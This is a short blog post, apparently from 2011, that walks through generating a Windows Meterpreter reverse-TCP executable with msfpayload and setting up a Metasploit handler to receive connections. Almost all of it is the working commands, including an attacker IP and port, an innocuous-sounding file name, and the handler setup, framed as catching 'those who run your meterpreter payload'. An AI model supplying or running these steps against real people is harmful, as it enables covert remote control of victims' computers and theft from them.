Exploit-DB updates

Sunday, May 15, 2011

Creating an executable payload via msfpayload.

We'll be making a quick tutorial on how to create an executable using a metasploit payload. We will use a meterpreter payload, here's the command we would want to issue to create an ".exe".

msfpayload windows/meterpreter/reverse_tcp LHOST=19.84.20.11 LPORT=31337 X > /root/Shiny.exe

You can then verify it was created by using the "file" command, like so;

file /root/Shiny.exe

And it should say something along the lines of this;

/root/Shiny.exe: PE32 executable for MS Windows (GUI) Intel 80386 32-bit

You now have a working payload in the form of an exe, you can now fire up metasploit and use the exploit handler to listen for the incomming connections. Assuming we are in the the metasploit console, we would issue the following commands;

msf> use exploit/multi/handler 
msf exploit(Handler) > set payload windows/meterpreter/reverse_tcp 
msf exploit(Handler) > set LHOST=19.84.20.11 
msf exploit(Handler) > set LPORT=31337 
msf exploit(Handler) > exploit 

You now have a handler waiting for incoming connections from those who run your meterpreter payload.

No comments:

Post a Comment